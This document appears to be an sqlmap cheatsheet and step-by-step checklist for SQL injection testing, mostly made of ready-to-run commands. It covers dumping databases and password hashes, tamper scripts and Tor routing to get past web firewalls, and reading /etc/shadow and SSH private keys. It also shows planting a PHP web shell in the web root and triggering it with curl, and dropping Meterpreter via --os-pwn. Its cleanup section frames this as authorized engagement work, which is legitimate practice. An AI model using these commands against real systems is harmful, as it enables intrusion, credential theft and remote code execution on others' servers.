Cheatsheet

First-Shot One-Liners

sqlmap -u "http://target/vuln.php?id=1" --batch
sqlmap -u "http://target/vuln.php?id=1" --batch --random-agent
sqlmap -r request.txt --batch
sqlmap -u "http://target/login" --data="user=admin&pass=x" --batch
sqlmap -u "http://target/" --cookie="id=1*" --level=2
sqlmap -u "http://target/" --forms --batch --crawl=2

Load From a Burp Request

# save request from Burp → Copy to file → request.txt
sqlmap -r request.txt --batch
sqlmap -r request.txt -p id --dbms=mysql
sqlmap -r request.txt --force-ssl       # if the saved request was HTTPS

Injection Mark *

?id=1*                          # GET parameter
Cookie: session=abc; id=1*      # cookie
{"user":"admin","id":1*}        # JSON body
X-Forwarded-For: 127.0.0.1*     # header

Request Shaping

--data="id=1&user=admin"        # POST body
--cookie="PHPSESSID=...; id=1"  # cookie header
--headers="X-Api-Key: xxx\nX-Forwarded-For: 127.0.0.1"
-H "Authorization: Bearer xyz"
--method=PUT
--param-del=";"                 # param delimiter
--cookie-del=";"
--referer="http://target/"
--user-agent="Mozilla/5.0 ..."
--random-agent
--forms --crawl=2               # auto-discover forms

Detection & Debug

--batch                         # take defaults on every prompt
--parse-errors                  # surface DBMS errors inline
-v 6                            # max verbosity (prints every request/response)
-t /tmp/traffic.txt             # log full traffic to file
--proxy="http://127.0.0.1:8080" # pipe through Burp
--flush-session                 # forget previous findings for this target
--fresh-queries                 # re-run queries, don't reuse cache

Level / Risk / Technique

--level=1..5                    # default 1 — raise to extend payloads + boundaries
--level=5 --risk=3              # kitchen sink (7800+ payloads)
--risk=1..3                     # default 1 — 3 enables OR-based destructive payloads
--technique=BEUSTQ              # default; restrict with any subset:
#   B = Boolean-based blind
#   E = Error-based
#   U = UNION query
#   S = Stacked queries
#   T = Time-based blind
#   Q = Inline queries
--technique=BEU                 # skip time-based (fast)
--technique=E                   # error-based only (good for --os-shell)
--dbms=mysql                    # skip fingerprint, pin DBMS
--prefix="')" --suffix="-- -"   # manual boundaries
--string="Welcome"              # TRUE signal
--not-string="Invalid"          # FALSE signal
--code=200                      # TRUE = HTTP 200
--titles                        # compare <title>
--text-only                     # strip HTML, compare visible text
--threads=10                    # up to 10 concurrent requests

Enumeration — Progressive

sqlmap -u "..." --banner --current-user --current-db --hostname --is-dba --users --passwords
sqlmap -u "..." --dbs
sqlmap -u "..." -D <db> --tables
sqlmap -u "..." -D <db> -T <tbl> --columns
sqlmap -u "..." -D <db> -T <tbl> -C user,pass --dump
sqlmap -u "..." -D <db> --dump                 # dump whole DB
sqlmap -u "..." --dump-all --exclude-sysdbs    # dump everything, skip sys DBs
sqlmap -u "..." --schema                       # schema of all DBs
sqlmap -u "..." --search -T users              # find any table named users
sqlmap -u "..." --search -C pass               # find any column with pass
--start=2 --stop=10                            # row range
--where="username='admin'"                     # filter rows
--dump-format=CSV|HTML|SQLITE

UNION Tuning

--union-cols=17
--union-char='a'                # non-NULL filler
--union-from=users              # needed for Oracle-style DBs

Tamper Scripts (Common Combos)

--list-tampers                                        # show all installed
--tamper=space2comment                                # /**/ for spaces
--tamper=space2comment,charencode,randomcase
--tamper=between,randomcase                           # replace = with BETWEEN
--tamper=equaltolike                                  # = → LIKE
--tamper=base64encode                                 # base64 payload
--tamper=modsecurityversioned                         # ModSec bypass
--tamper=space2hash,halfversionedmorekeywords         # MySQL
--tamper=space2mssqlblank,charunicodeencode           # MSSQL
--tamper=percentage,apostrophenullencode              # ASP/.NET

Protection Bypass / Transport

--random-agent
--skip-waf                          # skip heuristic WAF probe
--proxy="http://127.0.0.1:8080"
--proxy-file="proxies.txt"
--tor --tor-type=SOCKS5 --check-tor
--delay=1 --timeout=30 --retries=5  # go slow if rate-limited
--chunked                           # chunked POST body
--hpp                               # HTTP parameter pollution
--csrf-token="csrf_token"           # name of the CSRF param
--csrf-url="http://target/login"    # fetch fresh token from this URL
--randomize=nonce
--eval="import hashlib; h=hashlib.md5(str(id).encode()).hexdigest()"

OS Exploitation

sqlmap -u "..." --is-dba
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-read="C:/Windows/win.ini"
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/s.php"
sqlmap -u "..." --os-shell
sqlmap -u "..." --os-cmd="id"
sqlmap -u "..." --os-cmd="whoami" --technique=E
sqlmap -u "..." --os-pwn                 # drop Meterpreter / VNC via msfconsole
sqlmap -u "..." --priv-esc               # getsystem via Metasploit
sqlmap -u "..." --reg-read --reg-key="HKLM\SOFTWARE\..." --reg-value="..."

Files Usually Worth Reading

/etc/passwd
/etc/hosts
/etc/shadow
/etc/mysql/my.cnf
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/root/.bash_history
/home/<user>/.ssh/id_rsa
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

Session & Output Locations

~/.sqlmap/output/<target>/log            # found injection points
~/.sqlmap/output/<target>/session.sqlite # cached findings
~/.sqlmap/output/<target>/dump/          # dumped CSVs
~/.sqlmap/output/<target>/files/         # --file-read results

Checklist

Recon

  • Capture a representative request in Burp (Copy to file → request.txt)
  • Note every user-controlled input: GET, POST, cookies, headers, JSON fields
  • Confirm the parameter reaches a query (reflects, errors, affects content)
  • Decide HTTPS? → use --force-ssl with -r
  • Decide auth needed? → grab a logged-in cookie/token for the request file

Detection

  • Run sqlmap -r request.txt --batch as baseline
  • If nothing: add --level=3 --risk=2 and --random-agent
  • If still nothing: add -p <param> to force the suspect parameter
  • If parameter is non-standard: add injection mark * in the request
  • Use --parse-errors to surface DBMS error strings
  • If noisy page: pin TRUE/FALSE with --string=, --not-string=, --code=, --titles, --text-only
  • If detection succeeds, note the DBMS and pin with --dbms=

Troubleshooting Failures

  • --flush-session to drop a bad cached result and retry
  • -v 6 or -t /tmp/log.txt to see exactly what’s sent
  • Route through Burp with --proxy="http://127.0.0.1:8080"
  • If CSRF-protected: --csrf-token=<name> and optionally --csrf-url=
  • If per-request nonce: --randomize=<param>
  • If derived param: --eval="<python>"

Enumeration

  • --banner --current-user --current-db --hostname --is-dba
  • --users --passwords --privileges --roles
  • --dbs → pick target database
  • -D <db> --tables → pick target table
  • -D <db> -T <tbl> --columns → pick columns
  • -D <db> -T <tbl> -C <cols> --dump
  • Use --start/--stop on huge tables, --where= to filter
  • --search -T users / --search -C pass to find interesting names fast
  • --schema --exclude-sysdbs for the full map

Extraction Speed

  • Prefer UNION or error-based over blind — set --technique=BEU
  • --threads=10 when blind is unavoidable
  • Narrow with -C + --where= instead of dumping everything

WAF / Filter Bypass

  • --random-agent first
  • --tamper=space2comment,randomcase,charencode as a safe starter combo
  • --list-tampers and pick DBMS-specific transforms
  • --delay=1 --timeout=30 if rate-limited
  • --chunked for POST bodies against ModSec-style rules
  • --hpp for parameter-pollution tolerant stacks
  • If blocked by IP: --proxy-file= or --tor

OS Escalation

  • --is-dba — true? move forward; false? file/OS ops may still work but unlikely
  • --file-read=/etc/passwd to confirm read primitive
  • Read web server config, then app config (.env, wp-config.php)
  • --file-write=shell.php --file-dest=/var/www/html/s.php for RCE
  • Trigger: curl "http://target/s.php?c=id"
  • Or go direct: --os-shell, --os-cmd="id", --os-pwn
  • If --os-shell returns “No output”: retry with --technique=E

Cleanup

  • Note all injection points and payloads from SQLMap’s final block (reportable evidence)
  • Preserve ~/.sqlmap/output/<target>/ for the report
  • If you wrote files to the target, remove them before closing the engagement